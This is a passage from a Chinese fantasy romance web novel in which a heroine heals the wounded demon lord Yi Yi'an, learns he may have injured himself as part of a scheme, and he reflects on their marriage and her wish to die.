文可烟直接就是一个心下大震,脱口而出:“啊?”脸上的清冷倏忽出现了裂缝,震惊之意毫不掩饰地浮现在脸上。 接着,她陷入了沉默,约莫过了一炷香的时间,她的内心依旧在激烈地挣扎着。 要脱羿逸安的衣服?这……这成何体统? 可若是不脱,她岂不是白白浪费了交易,还让系统平白得了两个天大的便宜? 52. 变动(十) 更重要的是,羿逸安又该如何得救? 就在她犹豫不决之时,一旁的白酒已经精疲力尽。随着一声轻“噗”,它像一只断了线的风筝,无力地瘫倒在羿逸安身侧。 与此同时,它与羿逸安周身光芒也开始渐渐黯淡下去。 闻声,文可烟猛地抬眸,像是下定了什么生死决定。快步走到床边,将白酒安顿回簪子后,然后继续问系统:“我要怎么做?” 【抱住他,然后凭自己的意念传输治愈之力……17……】 过了好一瞬,系统又一次开口:【他体内还残余着未解的毒素,暗台上已放置了一枚解毒丸,褪衣之前还请记得让他服下,这枚解毒丸可助你快速救他……7……】 文可烟听闻,心中孤疑顿生,究竟谁能有给羿逸安下毒的时机? “解毒丸?他什么时候被下了毒?” 【你睡觉之时……1……】 系统简洁地回答,却让文可烟心中一凛。 大长老竟这般阴毒,难怪她醒来后,羿逸安就一直昏迷不醒。 文可烟小心吐出一口浊气,定了定神,从暗台上拿起那枚解毒丸。 紧接着,她轻轻掰开羿逸安紧闭的薄唇,将药丸推送至他口中。 做完这一切,她微微垂眸,目光落在羿逸安身上。 好一会儿,她才将双手食指与拇指并拢,轻轻捏起羿逸安的衣衫,一点点地将衣衫扯开褪去。 衣衫与肌肤摩擦而发出细微得几乎难以察觉的簌簌声响,在这寂静得仿佛连空气都凝固的屋内,显得格外清晰,且说不上来的旖旎。 随着衣衫的褪去,眼下暗沉沉的一片,逐渐被一小片晃眼的白所取代。 羿逸安的胸膛就这么直愣愣、明晃晃地袒露在文可烟眼前。 线条流畅而优美的轮廓,本该是令人赏心悦目的画面,可此刻却布满了大大小小的伤口,鲜血还在不断地渗出。 围绕在文可烟与羿逸安之间的香甜气息,随着伤口一点点显露出来,渐渐浓厚起来。 可不是文可烟矫情,是她真的自打娘胎以来就没喜欢过别人,更别说经历这般“坦诚相待”之事了。真真是一点儿也不敢多看,而且还有阵阵奇香不断地钻进她的鼻腔,扰得她心神不宁。 她全程紧闭着双眼,长长的睫毛急促地颤动着,双手在空中胡乱摸索着褪去羿逸安的衣服。 可闭上眼睛,世界便陷入了一片黑暗,她看不见自己摸到的地方,也找不准下手的位置。以至于仅仅是个脱衣服的工程,她就花了大半时间。 有好几次,她的手不经意间摸到了羿逸安滚烫的肌肤,细腻而温热的触感…… 文可烟:“……” 有时候,触感比视觉更为直白,刺激。 可时间不等人,再这般耽搁下去,羿逸安的伤势只怕会更严重。文可烟心一横,鼓起勇气睁开了眼睛。 此时,衣衫已褪去一大半,一大片鲜艳红色倒映在文可烟的瞳孔中。 文可烟这时才真正意识到,他真的伤得很重。 文可烟:“……” 算了,视觉带来的冲击也很直白,刺激的。 就在这一瞬间,不知哪儿来的一阵风吹过,一阵阵香甜气息争先恐后地钻进她鼻腔。 文可烟:“……” 行!嗅觉带来的感受也挺直白,刺激的。 在视觉的“助力”下,文可烟帮羿逸安褪衣衫的速度变得快了一些。 可现实并不总是尽如人意,快也快不到哪儿去。羿逸安身上那大片大片的血迹,有些血液早已干涸,死死地将衣服黏在了他的皮肤上。 文可烟一开始还刻意保持着距离,手臂伸得老直。可这紧绷的姿势在衣衫的“阻挠”下根本无法继续下去。 她无奈,只得贴近羿逸安,身体前倾,屏住了呼吸,小心翼翼地与那黏在羿逸安身上的衣衫较上了劲。 近距离注视着羿逸安身上触目惊心的伤口,文可烟龇牙咧嘴,眉头紧紧皱在一起,那模样就像是伤口长在了她自己身上一般,疼得她浑身都在颤抖。 “你……” 这突兀的声音,在此刻认真专注的文可烟耳里格外清晰。 除了羿逸安还能有谁发出? 文可烟一个激灵之下,手猛地一抖,整个人不受控制地连连后退了好几步。脚步踉跄间,完全失去平衡,最后直接摔倒在地上。 坐在地上的她双眼圆睁,满脸惊愕,嘴巴微张,将惊讶展现得淋漓尽致,好似刚刚目睹了世间最匪夷所思之事。 好好好,听觉的冲击力更直白,更刺激。 这突如其来的状况,让文可烟的五感都好似被彻底搅乱,脑海中突然闪过一个荒诞的念头—— 有本事把剩下的最后一感也来一次,集齐五感,难道还能实现什么愿望不成? 蓦地,她想起最后一感是味觉,心中不禁“咯噔”一下。 味觉……要怎么感受…… ! 难不成,是要去舔他的血? 这想法刚一冒出,她便吓得赶紧摇头。 她不该这么天马行空的,这想法实在太过荒唐。 此时,两人都沉默着,目光交汇。 文可烟却突然感觉喉咙一阵发痒,猛烈地咳嗽起来。也不知是战术性假咳,还是真的惊讶得被口水呛住了。 好不容易,文可烟终于止住了咳嗽,室内再次陷入了一片诡异的安静之中。 羿逸安褪去大半的衣衫,就这么裸露在空气中。触目惊心的伤口和精壮的胸膛,在微弱的光线中若隐若现。 而文可烟就这么继续跌坐在地上。 谁也没开口,谁也没移开视线,就这么……这么对视着。 “我能治好你。”似乎只是一瞬,又似乎过了很久,文可烟终于开口。 “那……”文可烟微微抿了抿唇,刚想接着说出心中盘算已久的条件。 “不行。”羿逸安像是看穿了她的心思,抢先一步开口。 此刻的他,身体虚弱至极,声音里混着几分虚弱与沙哑,每一次启唇都像是要用尽全身的力气。可拒绝的话语却被他说得义正言辞、斩钉截铁,不容有一丝一毫的置疑。 不过,他毫不犹豫的拒绝,在文可烟眼里,却是让她产生了不被信任的感觉。那句“能不能将两月之约缩减至一个月”在她喉间翻滚了数个来回,终究没能被允许吐出。 她即将起身的身子,像是被一只无形的力量按住了,就这么又蹲了下去。 接着 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文可烟“埋头苦干”,将所有的注意力都集中在手中,好像只有专注地摆弄着这枯草,才能暂时忘却内心的烦闷。 最终,她走出了房门。 青风拂过,很是凉爽与惬意。 文可烟怔怔望着前方,视角里这时却出现了一抹紫色裙角,格外引人注目。 她顺着那抹紫色望了过去,双眼静下无波。 远处,悦心从光影交错处款款而来。 而她身后,紧紧跟着一群身影,黑压压的一片,密密麻麻,给人一种无形的压迫感。 文可烟站在原地,看不清楚他们到底是什么人,亦或是其他什么鬼或妖的存在。 她目光一一扫过那群身影,有几张熟悉得不能再熟悉的面孔映入她的眼帘。 那日,在羿逸安大杀四方、血染成河时,她曾亲眼目睹过这些面孔,他们在死亡中一层层交叠在一起,恶臭又冰冷。 可此刻……他们活生生地站在这里。 文可烟的目光在那些面孔上停留了片刻,最终,还是缓缓地移开,定格在了悦心的脸上。 悦心一步步走近,她身后的人很是识趣地在离文可烟还有一段距离的地方便齐刷刷地停下了脚步。 悦心走到文可烟眼前垂下眼眸,双手抱拳,朝着文可烟恭敬地行了一礼:“小殿下。” 文可烟的目光轻轻掠过悦心身后,旋即又不着痕迹地移开,未发一言。 两人就这样静静伫立着,似乎都不准备开口。 在沉寂中待了少顷,终于…… 悦心微微抬起头,小心翼翼地看向文可烟,却又在还未触及文可烟目光的瞬间,又迅速垂下眼眸。 “想必小殿下应该猜出属下的身份了。” 文可烟凝视着前方的某一点,并未立刻回应悦心。过了一会儿,她才轻声问道:“魔界……现在怎么样了?” 悦心抱拳的手微微松了松劲儿,显然,没想到文可烟会岔开话题。 她本以为小殿下会先问及自己的身份,没想到却先关心起魔界的情况。 不过,悦心很快便调整好了状态,紧了紧手上的力度,面色如常地回答:“一切如常,只是……” 53. 变动(十一) 说到这里,悦心微微蹙起眉头,像是想起了什么不同寻常的地方。 文可烟终于将视线收回,看向悦心,“只是什么?” 思绪飘散的悦心听见文可烟的声音,猛地回神,她再次垂眸,略有些迟疑地将剩下的话说完:“只是……因为太过正常,反而不正常,感觉有诈。” 文可烟追问:“此话怎讲?” “魔界对尊上的看管似乎并没有太在意,就连你们被救出这么大件事,也并未在魔界掀起太大风浪。这点属下着实想不明白,按说魔界不该如此松懈。” 听到这儿,文可烟漫不经心地往不远处的小屋扫去一眼。随后,她又将视线落到悦心身上,目光如潺潺流水般平静,却不动声色地观察了一番。 从悦心轻轻掩下的睫毛,到她紧抿的嘴唇,文可烟都尽收眼底。 “那你还有什么话要对我说吗?” 悦心沉默几息,似在思索如何开口。 “属下……就是芯核。” 文可烟神色依旧清风淡定,她早已料到这一结果,轻轻挑眉,吐出三个字:“然后呢?” 本事随意、自然的语气,可落在悦心耳中,却让她感受到了一种无形的压力。 悦心次陷入沉默,她实在不知道,除了承认自己的身份,还有什么需要要文可烟坦白的。 周围很静,静得可怕,并未传来悦心的声音。 似是疑惑,文可烟将目光朝悦心投去。 “羿逸安的伤究竟是怎么来的?” “……”悦心闻言,身体微微一僵,她低着头松了一小口气,下一秒又提起来。 原来小殿下是想问这个。 “你也不知道?”见芯核依旧没有回答的想法,文可烟忍不住问出口。 她早就知道,羿逸安是世人传颂的魔头,无恶不作,却又无人可奈他何。 按理说,这样的反派角色,不会被谁轻易所伤。可昨日,他却重伤至差点丧命,若不是系统和她,恐怕…… “属下……”芯核不知该如何回答。 尊上向来行事神秘,何时做事需要知会她呢?尊上只会将需要她做的事告诉她,其余一切事情她一概不知。 悦心吞吞吐吐,犹豫了许久,终于还是把自己的猜测说了出来:“觉得,该是尊上自己伤的。” “自己伤的?” “他为何这么做?” 文可烟一连两问,声音都陡然拔高了几分,手指藏在衣袖下微微握拳,连带着衣角都被她揪出丝丝缕缕的褶皱。 她不敢相信悦心的话,可理智又告诉她,依照眼前的事实来看,却又不得不信。 毕竟,以羿逸安的实力,这世间又有谁能轻易伤及他分毫? 大长老要是有那个能耐,又岂会等到昨天羿逸安受了那么重的伤才动手?不然,早在在之前,大长老就该将羿逸安从!魔尊之位上拉下来了,又何至于夹着尾巴在魔界忍气吞声这么长的时间。 而且,若非是羿逸安自己,大长老昨日又怎会有机会给他下毒。可……为什么?他为什么要这么做? 沉默良久,文可烟以为悦心不会回答她了。毕竟,悦心是羿逸安的属下,若没羿逸安的授意,她又怎会知晓其中缘由呢? 文可烟几不可察地叹了口气,眼神有些黯淡,正打算放弃追问时,悦心的声音却悠悠地传进了她的耳里。 “想来……尊上是为了让戏做得更逼真些。” “……”文可烟越听越迷糊,脑袋里像是被灌进了一团浆糊。 这都什么跟什么呀?他自己伤自己伤得那么重,仅仅只是为了演戏?演什么戏?又是演给谁看呢?到底是谁有这般能耐,能让羿逸安不惜自伤,来演这么大一场戏? 总不可能是她吧? 一个荒诞的念头混杂在文可烟脑中无数念头中,一闪而过,连一刹那都没待够,便消失得无影无踪。 自己不过一个什么术法也不懂的小小绿萝,想来没什么利益可供羿逸安图谋的。 按捺不住好奇心,文可烟佯作不在意地问:“演什么戏?” 悦心这次是真的铁了心不打算回答了。 眼下尊上为此局演了这么大的戏,可事情还到尘埃落定的时候……为了不再横生变故,悦心实在不好将羿逸安的计划全盘托出。 而且,多一人知道,便多一分危险,这个道理悦心也还是知道的。 线索在这儿断了,文可烟还想问一些悦心愿意回答的问题,可上一个问题没有得到答案,她根本想不到还能问什么。 那个未得到答案的问题,也许是解开这一切谜团的关键钥匙,是整件事情的核心所在。一旦悦心松了口,将答案道出,整个线索便会如开了闸的水流,源源不断地涌出,所有的谜团都会一一解开。 而她,也不会再被困在这迷雾之中,找不到方向。 可……悦心不愿开口。 屋外的气氛有些凝滞,风似乎都放慢了脚步,轻柔却又带着几分压抑地拂过。 恰在此时,小屋内突然传出一阵细微得几乎难以察觉的声响,像是有人轻轻挪动了身体,又像是衣物摩擦产生的窸窣声。 这细微的声响,给了悦心一个绝佳的台阶。像是被解救了一般,眼中瞬间闪过一丝如释重负的神情。 接着,格外怕错过这来之不易的借口,立马越过方才那个令她左右为难、如坐针毡的话题,急切开口:“小殿下,尊上好像醒了,你进去看看吧,属下去找点儿吃食。” 吃食? 文可烟一怔。 在这魔界,饮食于他们而言,不过是可有可无之事。 眼下,羿逸安身为魔尊,重伤未愈,自是无心饮食;悦心身为魔族之士,平日里也并非贪口腹之欲之人,此刻又怎会突然提及吃食? …… 这么说来,到最后只剩下她一人…… 文可烟张了张嘴,想说“其实也不用的,她也不是很想吃”,可一个字还未吐出,她眼前哪儿还有悦心的身影。 悦心早已如一阵疾风,匆匆离去。 此刻,庭院中又只剩下文可烟一人。她静静地站在原地,微风轻轻拂过,撩动着她的发丝与裙摆,宛如一副生机初露的水墨画,宁静而又带着几分淡淡的惆怅。 她在外磨蹭了好一会儿,有些犹豫地望着那扇紧闭的房门。 不知究竟过了多久,每一分每一秒于文可烟而言,都是一场漫长且煎熬的 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偶尔,她会小心地抬眸,偷偷觑一眼羿逸安。只见他静静地趟在床上,模样乖巧又安静,一动不动。 只是这份安静实在有些奇怪…… 文可烟的视线缓缓移至羿逸安的脸上,当她的目光落在他紧闭的双眼上时,所有的理智都被抛到了九霄云外。 刹那间,她登时便要站起身来。由于起身的速度太过急切,身体还有些不受控制地摇晃,险些没站稳。 她顾不上自己此刻的狼狈,急匆匆地朝着羿逸安身边跑去,连裙摆都随着她急促的动作迅速凌乱又肆意地飘动起来。 “羿逸安!” 原本,她看到羿逸安睁开眼睛,以为他的伤势应该已经好了大半,还不至于很严重。她想着,也许是白酒的治愈之力已经发挥了一些作用,所以她才安心地蹲在那儿多待了一会儿,并不急。 可此刻,他竟又睡过去,文可烟心里彻底没了底,有些拿不准了。 “羿逸安?” 床上的人依旧安静得如同沉睡的湖水,没有丝毫回应,像是根本听不见她的呼唤。 文可烟有些笨拙,手脚并用地爬上床。 接着,她双手紧紧环着羿逸安的腰,将他死死抱住,脸颊轻轻贴在他的胸膛,听着他微弱却规律的心跳声。 做完这一切后,她整个人却陷入了更深的矛盾漩涡之中,她不知道她怎么了……只是…… 她呆呆地保持着拥抱羿逸安的姿势,好似只是在抱一块不动的寒冷冰柱。 在心里一遍又一遍地重复着那个理由,试图说服自己,给自己的行为找一个合理的解释。 只是……是因为两个月期限未到,若不救他,便没人能给她一个不留痛苦的死亡。 这理由从她心底幽幽念出,像是一阵缥缈虚幻的风,在心间轻轻拂过,却没能带来多少笃定。若有若无的麻意自心底蔓延开来,酥酥软软的…… 这之下,隐藏在心底的真正感受其实是觉得这理由太过牵强。 她能清晰地感觉到,自己心中那股莫名的冲动,在心底不断翻涌、撞击,来得毫无缘由,却又如此强烈,她根本无法忽视。 54. 变动(十二) 文可烟试图紧紧抓住那个“期限未到”的理由,就像溺水之人抓住最后一根救命稻草,可那股冲动却一次次地将这根稻草从她手中扯开。 贝齿轻咬着下唇,或许……或许真的是羿逸安血的香甜在影响控制着她,让她不由自主地做出一些连自己都难以理解的行为。 环抱羿逸安的那双手越来越紧,越来越用力……她能清晰地感觉到他细腻的肌肤纹理紧紧覆在自己的手中,连带着她的心也变得细腻、温热起来。 随着文可烟逐渐加强的力度,几条毛茸茸的尾巴无声无息地冒了出来,只是和它们主人一样,有些孱弱。 就在此时,羿逸安不安地一震。 文可烟如梦初醒般,眨眼间,将抱着羿逸安的手脚推得老远,她的身体也用力缩到床榻的另一侧角落,低埋着头。 冷静片刻,想起自己还没救治羿逸安,便又慢悠悠挪动身子,缩回至羿逸安身侧。 可一下子被突然现身的尾巴整得呼吸一窒。 她控制着自己眼神不往尾巴的方向看去,僵硬地轻轻将手搭在他身上,然后闭上双眼开始动用自己的意念催使治愈之力。 渐渐地,两人周身皆笼罩着一层淡淡浅绿柔光,那光比白酒使出散发出来的更纯更净更亮。 光影中,两人的身影显得格外温馨而朦胧。 羿逸安的脸色在这这柔光下逐渐有了血色,变得正常起来,像是枯萎的话重新绽放出了生机。 他的体温也在逐渐回温,温热的触感透过文可烟的衣衫,传至她皮肤。 与此同时,异香也随之淡去,文可烟体内的神经也不再收到香气的影响,慢慢回归正常。 她缓缓睁开澄澈的眼眸,目光甫一触及羿逸安,久久无法挪开。 只见他白花花的身子在浅绿柔光中宛如一块温润无暇的美玉,而那几条漂亮的尾巴蓬松松的,成片地争先恐后地闯入她的瞳孔。 在柔光下,尾巴毛发随着他微弱的呼吸轻轻摇曳,这画面好似置身于一个绮丽的仙境之中。 文可烟久久没有动作,只痴痴地凝视着眼前的景象。 她鼻尖轻动,隐隐又嗅到那股异香。这股异香似乎并未如她所想般全部散去,反而愈发浓郁了几分,丝丝缕缕地钻进她的鼻腔,控制着她身体全部神经。 她有种错觉,这香气是从羿逸安身上每一寸肌肤、每一根毛发中散发出来的,很是致命,让人不由自主地沉沦其中。 尾巴像是知晓了文可烟心底隐藏的喜好,不安分地扭动着,动作间沾染了丝丝血丝,妖艳而又魅惑。 文可烟的目光极其缓慢且僵直地移向羿逸安身下被她扯坏的衣衫与床褥。 破碎的衣衫和凌乱的床褥,好似是她慌乱心情的写照。晃眼间,她看见了一个突兀的颜色。 是储物袋。 文可烟紧张地拿过在羿逸安身上的储物袋,打开储物袋,里面放置的衣物全是清一色的玄色衣衫,整个颜色比她的外表更显死气。 她在里面翻找许久,终于选出一件稍微与众不同的衣衫,是一件又青绿花纹的玄衣。并且,按照上次系统交给她的烘干术,举一反三,使出了换衣术。 那件玄衣在文可烟的意念下,悠悠然飘起,落在羿逸安身上。瞬间,将他那白花花的身子遮掩得严严实实,只余下那几条漂亮却恼人的尾巴在衣摆下若隐若现。 文可烟定了定神,深吸一口气,再次调动体内的灵力,举一反三,使出洁净术。 一道柔和的光芒闪过,被褥以及……尾巴被清理得干干净净,速度快得像是仓忙遮掩着什么。 待一切整理妥当后,按理说该是一点儿羿逸安血液的香甜气息也没有了。可文可烟依旧觉得,似乎还有残余香甜弥散在空气里。 不然,她为何满心都是想抱羿逸安的冲动。 文可烟仓惶逃走,匆匆离开了小屋。 去往屋外的院子里后,清新的空气扑面而来,一下子让她从浓稠至幻的空间里带出来,连带着她那如乱麻般的思绪,也渐渐清晰明朗起来。那些被她在慌乱中忽略的细节此刻一一浮现。 之前,情况紧急,文可烟根本无暇他顾,自然来不及细想各种端倪。当下,羿逸安已无性命之忧。文可烟坐在床边看着他,这才后知后觉地惊觉,这一桩桩、一件件的事情,哪哪儿都是破绽,处处透着古怪。 细细想来…… 漏洞百出。 系统之前说过,白酒也和她一样拥有治愈之力,那岂不是…… 造化弄人…… 她一直把白酒当成生命最后时光里的玩伴,可以说白酒也许是她死前最后一束光,可这束光却成了阻止她实现最后愿望的“罪魁祸首”。 这么长时间以来,文可烟和白酒朝夕相伴,每与白酒多待上一刻,她心情就会多愉悦几分,那些负面情绪也会被随之被驱散。 原来,竟是因为白酒拥有修复之力,才让她在浑然不觉间被治愈。 难怪她现在想死的情绪,远没有最初那般激烈亢奋。 苦涩意味在口中泛滥,最终汇聚成文可烟嘴角自嘲的笑容。 她竟被蒙骗至此,几乎天天和白酒待在一起,从未察觉到这其中的玄机。 倘若一开始,她便知晓白酒有这般修复能力,是绝不会与白酒这般亲昵无间。 本就一心求死的她,又怎会允许任何会破坏她死志的存在靠近自己,又怎会任由这份亲近在自己心底悄悄生根发芽。 可现在,她与白酒之间……又该如何界定…… 想到此处,她的思绪又飘回到了系统曾说过的那句话,原身绿萝的能力是治愈修复之力,和白酒是同源而出。 这究竟是系统的无心之说,还是另有玄妙呢? 当“治愈修复”四个字掠过时,羿逸安精壮有力的身躯,线条流畅的肌肉,不断晃动摇曳、带着致命吸引力的尾巴似乎全都真切地立在文可烟眼前。 咳嗯……她这能力,治愈别人的方法竟如此……狎昵轻浮……褪去衣衫,贴身…… 方才脑中积压的郁闷就这么被一扫而空,只剩下浑身燥热。 文可烟挥出一只手,快速在脸庞扇风。可奈何那风如同隔靴搔痒,根本没什么作用。热意从心底源源不断地生出,愈发浓烈。 再再者……为何只要受伤 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种种迹象,都在表明一件事情。 文可烟,终究还是选择救他,哪怕他并未应允她的要求。 她……此刻不在屋内,又去了何处呢? 心中有了文可烟不在屋内的猜测,羿逸安便没有做过多徒劳多余的举动,起身寻找她。他只安安静静平躺在床榻上,直直地盯着屋顶,眼珠一瞬不瞬。 记忆开始回溯,全是关于文可烟的…… 对于这个突然闯入他生活,名存实亡的妻子,羿逸安刚开始,其实并没有多大感觉。 感情,在他的世界里,只有爹爹娘亲还在时,才能让他真切地感受到,认知到。可,现下早已不是那个时候了…… 那日,长生本该按照以往惯例,如常走进牢房送那位被天界塞过来女子最后一程。 魔界与天界万千年来势同水火,彼此间的敌仇焚烧不息。在这天魔对峙的紧张局势下,天界送来的女子,大多都没什么好下场,不过是这场旷日持久纷争里,被无情碾碎的娇弱花瓣,是注定悲剧的牺牲品罢了。 每次天界送来的人,大长老会命令长生给其喂下“一线生机”,一来可以不费吹灰之力将其于无形杀死,二来当做实验,验证“一线生机”的从未被破解的关窍之处。 对于此,羿逸安没有任何举动,既不阻止,也不流露出过多不耐的情绪,放任了大长老的各种做法。 在这暗流涌动的魔界,每一个决定都可能牵一发而动全身,从而引发一系列不可预知的后果,所以他必须不宜展露太多马脚。 况且,天界送来的女子,表面上是联姻,实则暗藏杀机,是为了来刺杀他。倘若他轻易插手,露出破绽,便极有可能将自己苦心谋划已久的计划彻底抹杀,而多年的心血也将如流水般付诸东流,那是他绝对不愿意看到的。 可那一天,长生神色匆匆,第一次因为牢房中的女子而主动找他。 长生告诉他,那位新来的小殿下在吞下“一线生机”后,却没死。 55. 变动(十三) 如果羿逸安没记错的话,这是天界送过来的第三个女子了。这么久以来,还从未有人能活着从“一线生机”走出来,可她竟然…… “一线生机”,当真如它的名字一般,能于绝境中为濒死之人争取到那一线渺茫却又无比珍贵的生机吗?可决定生死的机缘究竟是什么,世间竟无人知晓。 虽然羿逸安也觉得不可思议,可当听见长生那番话时,第一反应并非惊讶。 他当时在想什么? 哦,他想起来了。 天意不可违,既然命运如此,那便顺势救下她,就当是多救了下了一人吧。 其实,羿逸安对前两位未嫁先亡的女子,没什么多余情绪,更谈不上什么情感了。他甚至都未见过她们的容颜,那些女子于他而言,似乎连模糊的影子都算不上。只是在私下偶尔听闻下属们闲聊时,才知晓一些零星消息。 那两位被天界派来刺杀他的细作,终究棋差一招,被大长老捷足先登,先下手为强了。 这些传言,就像一阵无痕的风,从他耳边吹过,便消散了,没有留下任何痕迹。 若说情感,他对文可烟亦是没有。他救她,不过是命运使然下的一次无心之举。 那日,他跟着长生来到关押文可烟的牢房。 一推开门,一股刺鼻又潮湿的腐朽气息便扑面而来。房内光线昏暗,一张破旧的木板床孤零零地摆在角落。 文可烟就那样静静地躺在上面,柔顺如的发丝凌乱地散在一旁,几缕调皮的发丝轻轻遮掩住她的面部。透过丝丝缕缕的发丝间隙,能看到她双眼紧紧闭着,长长的睫毛如同折翼的蝴蝶,无力地垂在苍白的脸上,投下一片浓重的阴影,好似刻意为她蒙上了一层哀伤的薄纱。 再往下看,她的嘴唇干裂起皮,毫无血色,泛着一种病态的灰白。整个人都蔫蔫的,完全失了天界仙气飘飘的气质,反而透着一种生不如死的凄凉。 羿逸安静立于床边,目光淡淡地扫过她,突然闪过一丝荒诞的念头。 这般柔弱的模样,即便她真是天界派来的刺客,想要刺杀他,恐怕也掀不起什么太大的波澜。 他只是机缘巧合下,见她从“一线生机”中挣出一条活路,顺手帮了她一把。也仅仅只是因为时机恰好,她得以存活下来。 而魔界之中,各方势力暗潮涌动,杀机四伏,魔气肆虐之处,稍有不慎便会粉身碎骨。若没有能压得住的身份,她在这处处暗藏杀机的魔界,每走一步都将如履薄冰,又怎能自由行走?只怕迟早会在这复杂的环境中处处受限,被那些心怀不轨之人算计,最终还是难逃一死。 若是如此,那他救她所花费的精力,岂不都白白浪费了? 羿逸安向来行事果断,最不喜欢做无用功,既然出手救了她,便要救得彻底,不能让她在这魔界如无根浮萍般漂泊无依。 再者,天界之人正虎视眈眈地盯着魔界。天界与魔界积怨已久,天界送来的女子,大多都是别有用心。而送来的女子源源不断地在魔界出事,他们也定会寻找时机再次渗透进来。 届时,他这魔尊定会陷入这没完没了的麻烦之中,魔界也将陷入无尽的纷争,而那些无辜的女子,也将数不胜数地成为这场纷争的牺牲物。 若能顺势而为,给文可烟安排一个合适的身份,既救了她,又能断了天界不停地给他塞人的念头,倒也不失为一个一箭双雕的好办法。 如此一来,魔界也能少些不必要的纷争,他也能落得个清净自在。 于是,那日,羿逸安顺应天界的意思,微微抬眸,神色平静,说出了“既如此,那便完婚”。 话语从唇间滑落,平淡得好似在和长老们商讨魔族那些繁琐又枯燥的政务,没有一丝情绪波动。 在羿逸安看来,成亲不过是一场虚有其表的形式,一场以救人为目的的交易罢了。他本就对情爱之事兴致寥寥,甚至从未想过与成亲有关的任何东西。 可,成亲能免去诸多麻烦。如今这局势,天界虎视眈眈,魔界暗流涌动,稍有不慎便会陷入万劫不复之地。 而她,也在“一线生机”考验下,硬生生闯出了一条活路。 罢了,既然命运如此安排,那他便顺应命运,救下她又何妨? 羿逸安负手而立,身姿宽广挺拔,站在魔界略显昏暗却又不失威严的寝宫之中,周身散发着与生俱来的尊贵气息。 殿内,魔气氤氲,袅袅升腾,似一条条黑色的丝带,在粗壮的殿柱之间缠绕、盘旋,神秘又诡异。 墙壁上镶嵌的魔晶闪烁着幽幽的光芒,闪烁不定、忽明忽暗,映照着他冷峻的面容,更添了几分清冷与孤寂。 窗外,夜色浓稠得化不开,将整个魔界都笼罩其中。偶尔有魔风呼啸而过,吹得窗棂“吱呀”作响,似是夜的叹息。 羿逸安空茫地伫立在窗前,望着这片夜色,心中产生出些许诧异。 只是……多年前娘亲曾说过,让他要好好爱戴自己的妻子,他们九尾一族,一生只可认一个伴侣,这是刻在血脉里的承诺,万不可违背。 自己当时究竟为何那般轻易,就将“完婚”二字脱口而出? 他做的这个决定是不是错了呢? 他下意识地摩挲着窗棂,指腹传来粗糙的触感,木质的纹理在他指尖下起伏,思绪也随之飘散。 是因为他本就没把婚姻当成多么重要的事,觉得不过是一场形式,走个过场罢了;还是因为他其实本就没打算成亲,只是恰逢天时地利人和,便这么稀里糊涂地应下了? 亦或是其他什么…… 此刻,羿逸安轻轻摩挲着手指,似乎在通过这个动作,理清自己内心的想法。 可如今,决断已下,覆水难收。既然要与她成亲,即便心中并无爱意,也不能不对她产生一种责任。日后,便像爹爹对待娘亲那般,爱护、疼爱她就行。 …… 可……究竟是哪一天,心中的情感开始产生了改变呢? 其实,羿逸安不太懂心中的情感究竟变成什么了,但他清晰又真切地知道,女子感觉,确实和之前不一样了。 或许,该是那日在净地,他偶然望见了那间透出点点星光的小屋吧。< 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虽说她本本分分、安安静静地在净地待了一段时间。可羿逸安心里很清楚,她终究还是带着刺杀他的任务而来。 所以,有段时间,他刻意不去见她,甚至一度忘了自己已然娶妻这件事。 若非那日晚上瞥见的灯火,他想,或许他该是与文可烟会一直这样,如两条平行线般各自生活着。日子平淡如水,无波无澜,在各自的轨道上缓缓前行。 他依旧是那个杀人如麻的魔尊,处理着魔界的大小事务,坚持着他长久以来一直做的事情;而她,则继续在净地过着不问世事、平静无忧地生活。 直到某一天,他或许会因天界的阴谋或魔界的纷争不幸殒命,而她也没有作出伤害魔界、伤害他的事情,他定会吩咐芯核,为她谋一个安稳的好归宿的。 这样,也算没有给九尾一族蒙羞,没有违背娘亲对他说过的话。 可自那日之后,所有的一切都被改变……渐渐地,在和她的相处的过程中,他似乎生出了前所未的纵容。 往昔,旁人若做出忤逆他的事,哪怕只是言语上的稍有不敬,他定会一言不发,直接以雷霆手段展示他的心狠手辣,常常让对方在惊恐与绝望中,根本来不及知晓触怒他的下场,便已命丧黄泉,连求饶的机会都没有。 可面对文可烟,他却瞬间偃旗息鼓,那些往日的狠戾与决绝,在看到她的瞬间便消散了大半。 待在她身边,似乎真的很好…… 可即便他这般了,文可烟却似乎并不开心。她的周身,总有一层淡淡的悲伤萦绕不散,就好像并没有什么生的意志。 而她那副无欲无求的模样,却总是会在她提及“杀了我”这几个字眼时,被撕破,产生出微妙的情绪变化。 那个时刻刻,她的眼神中会闪过一丝决绝,又似乎夹杂着一丝解脱的渴望,就像一只被困在笼中太久、渴望自由的鸟儿,哪怕是以生命为代价。 这变化稍纵即逝,快得羿逸安都没来得及好好观察,就已消失不见了。 成亲那日,是文可烟第一次说出这样的话。 56. 变动(十四) 那时的文可烟身着华丽的嫁衣,美得窒息,一切本应喜气洋洋,她却一脸淡漠,成了这场景中唯一的格格不入,整个人看不出丁点儿属于新婚的气息,平静地说出让他杀了她之类的话。 当时,他也只当是她与之前那些心怀不轨之人不同,想出的新法子来刺杀他,并未过多在意,只是冷冷地看了她一眼。 可如今看来,她好像真的无比渴望死亡,至搞出了许多在他眼中宛如稚童嬉闹般小儿科的把戏。 比如,她常常会用言语肆意挑衅他,只为博得他哪怕一丝的怒意;比如,她敢只身一人出现在大长老眼前,完全不顾大长老藏在眼底想干掉她的狠厉眼神;更甚者,在他再三提醒不要出净地后,她竟再一次地出现在他眼前,全然不拿自己的命当回事。 最荒谬的是,她以为弄乱了他的屋子,他就会动怒。 呵,更可笑的是,在整个过程中,她并没有使用任何术法,而是亲自靠自己的双手将屋子磋磨成那般杂乱。 真是难为她了。 她真的不怕死,对死也是真的渴望。 这样强烈的渴望,让羿逸安也不禁开始怀疑自己当初与她成亲,救下她这个决定是否真的正确。 如今,听到她那么多次让他杀了她,他的心莫名很闷。 他不知道这股闷意是什么,从何而来,又为什么。或许是因为她真的很不一样吧,她居然想死在他手下;又或许是她不领情,那么多蝼蚁都拼了命地想在他手中活下来,为了那一丝若有若无的生机不惜付出任何代价,可她…… 呵。 后来,白酒受伤了。得知这个消息后,她变得更加安静,整个人每日都是躺在床榻的一方角落里,不发一言,那副样子刺得他生疼。 罢了。 他以为自己只要想父亲那般,实现她的愿望,就能让心中那些奇怪的情绪烟消云散。 于是,他与她定下了两月之约。 可令他没想到的是,心中那闷闷的感觉并没有消失,反而更甚了…… 那股闷意如同藤蔓一般,在他的心底肆意蔓延、缠绕、生长,缠得他喘不过气来。 为什么呢? 他无数次地在心中问自己,却始终找不到答案。 